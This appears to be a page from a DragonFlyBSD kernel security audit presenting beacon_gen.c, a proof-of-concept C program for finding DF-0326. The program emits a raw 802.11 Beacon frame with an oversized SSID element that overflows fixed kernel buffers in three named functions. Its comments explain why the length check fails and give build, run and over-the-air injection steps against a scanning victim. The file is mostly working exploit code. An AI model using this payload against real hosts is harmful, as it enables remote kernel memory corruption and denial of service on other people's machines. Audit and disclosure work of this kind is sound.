DragonFlyBSD Kernel Audit
DF-0326 / beacon_gen.c
← back to finding ↓ download raw
/*
 * DF-0326 - Crafted 802.11 Beacon generator (proof of concept payload).
 *
 * Emits a raw IEEE 802.11 Beacon management frame whose SSID Information
 * Element carries a deliberately oversized length (default 192). On any
 * DragonFlyBSD host whose wlan receive path is actually driven by a radio,
 * this single frame triggers:
 *
 *   1. ieee80211_add_scan()   scan_sta.c:284
 *        memcpy(ise->se_ssid, sp->ssid, 2+sp->ssid[1]);   // se_ssid[34] overflow
 *        (rate set is KASSERT-guarded at :285; SSID is NOT)
 *   2. ieee80211_sta_join()   ieee80211_node.c:815-816    (STA join)
 *        ni->ni_esslen = se->se_ssid[1];
 *        memcpy(ni->ni_essid, se->se_ssid+2, ni->ni_esslen); // ni_essid[32] OF
 *   3. ieee80211_init_neighbor() ieee80211_node.c:1521-1522 (IBSS/Mesh/TDMA)
 *        ni->ni_esslen = sp->ssid[1];
 *        memcpy(ni->ni_essid, sp->ssid + 2, sp->ssid[1]);   // ni_essid[32] OF
 *
 * The SSID length check at ieee80211_input.c:680 (IEEE80211_VERIFY_ELEMENT)
 * only sets the IEEE80211_BPARSE_SSID_INVALID status bit -- which is NEVER
 * tested by any consumer (grep confirms). So the oversized SSID flows
 * unimpeded into all three memcpy sinks.
 *
 * The KVM audit guest has no 802.11 interface (ifconfig -l -> vtnet0 lo0),
 * so this frame cannot be injected from inside the guest. This program is
 * the documented attack payload: emit it to a file (or a monitor-mode VAP
 * via a pcap injector on real radio hardware) to reproduce live.
 *
 * Build:  cc -O2 -Wall -o beacon_gen beacon_gen.c
 * Run:    ./beacon_gen [ssid_len] > beacon.bin     (default ssid_len=192)
 *         xxd beacon.bin | head                    # inspect
 *
 * On real hardware, inject with an external tool (e.g. scapy/tcpreplay via a
 * monitor+injection-capable wlan vap) while the victim STA/IBSS is scanning.
 */

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>

/* 802.11 frame control / type/subtype (FC0 byte) */
#define IEEE80211_FC0_VERSION_0     0x00
#define IEEE80211_FC0_TYPE_MGT      0x00
#define IEEE80211_FC0_SUBTYPE_BEACON 0x08

/* Information Element IDs */
#define IEEE80211_ELEMID_SSID       0x00
#define IEEE80211_ELEMID_RATES      0x01
#define IEEE80211_ELEMID_DSPARAM    0x03

static void put(const void *p, size_t n) { fwrite(p, 1, n, stdout); }
static void put_u8(uint8_t v)            { put(&v, 1); }
static void put_u16le(uint16_t v)        { uint8_t b[2]={v&0xff,(v>>8)&0xff}; put(b,2); }
static void put_u64le(uint64_t v)        { uint8_t b[8]; for(int i=0;i<8;i++){b[i]=v&0xff;v>>=8;} put(b,8); }

int main(int argc, char **argv)
{
    unsigned ssid_len = 192;                 /* finding's cited payload */
    if (argc > 1) ssid_len = (unsigned)strtoul(argv[1], NULL, 0);
    if (ssid_len > 255) { fprintf(stderr, "ssid_len capped at 255\n"); ssid_len = 255; }
    if (ssid_len <= 32)  fprintf(stderr, "note: ssid_len=%u is within bounds (no overflow)\n", ssid_len);

    /* IEEE 802.11 Beacon frame */
    uint8_t fc0 = IEEE80211_FC0_VERSION_0 | IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_BEACON;
    uint8_t fc1 = 0x00;                       /* no flags */
    uint8_t dur[2]   = {0x00, 0x00};
    uint8_t da[6]    = {0xff,0xff,0xff,0xff,0xff,0xff}; /* broadcast */
    uint8_t sa[6]    = {0x00,0x11,0x22,0x33,0x44,0x55}; /* attacker AP */
    uint8_t bssid[6] = {0x00,0x11,0x22,0x33,0x44,0x55};
    uint8_t seq[2]   = {0x00, 0x00};

    put_u8(fc0); put_u8(fc1);
    put(dur, 2);
    put(da, 6);                               /* Address 1 (DA) */
    put(sa, 6);                               /* Address 2 (SA) */
    put(bssid, 6);                            /* Address 3 (BSSID) */
    put(seq, 2);

    /* ---- Beacon fixed fields ---- */
    put_u64le(0);                             /* Timestamp */
    put_u16le(100);                           /* Beacon interval (TU) */
    put_u16le(0x0401);                        /* Capability: ESS + Privacy */

    /* ---- THE WEAPONIZED INFORMATION ELEMENT ----
     * Tag 0 (SSID) with length byte = ssid_len (> 32). The kernel copies
     * (2 + ssid_len) bytes around without ever bounding ssid_len. */
    put_u8(IEEE80211_ELEMID_SSID);            /* element ID = 0 */
    put_u8((uint8_t)ssid_len);                /* length byte: 192 (or 255) */
    for (unsigned i = 0; i < ssid_len; i++)
        put_u8((uint8_t)('A' + (i % 26)));    /* attacker-controlled SSID bytes */

    /* Supported Rates IE (valid, to satisfy parse) -- KASSERT-guarded */
    put_u8(IEEE80211_ELEMID_RATES);
    put_u8(4);
    put_u8(0x82); put_u8(0x84); put_u8(0x8b); put_u8(0x96);

    /* DS Parameter Set (channel) */
    put_u8(IEEE80211_ELEMID_DSPARAM);
    put_u8(1);
    put_u8(6);                                /* channel 6 */

    fprintf(stderr,
        "DF-0326 beacon emitted: ssid_len=%u (>32 triggers the ni_essid[32] overflow;\n"
        "  ni_rates + ni_chan pointer are clobbered). Total %u SSID bytes attack-controlled.\n",
        ssid_len, ssid_len);
    return 0;
}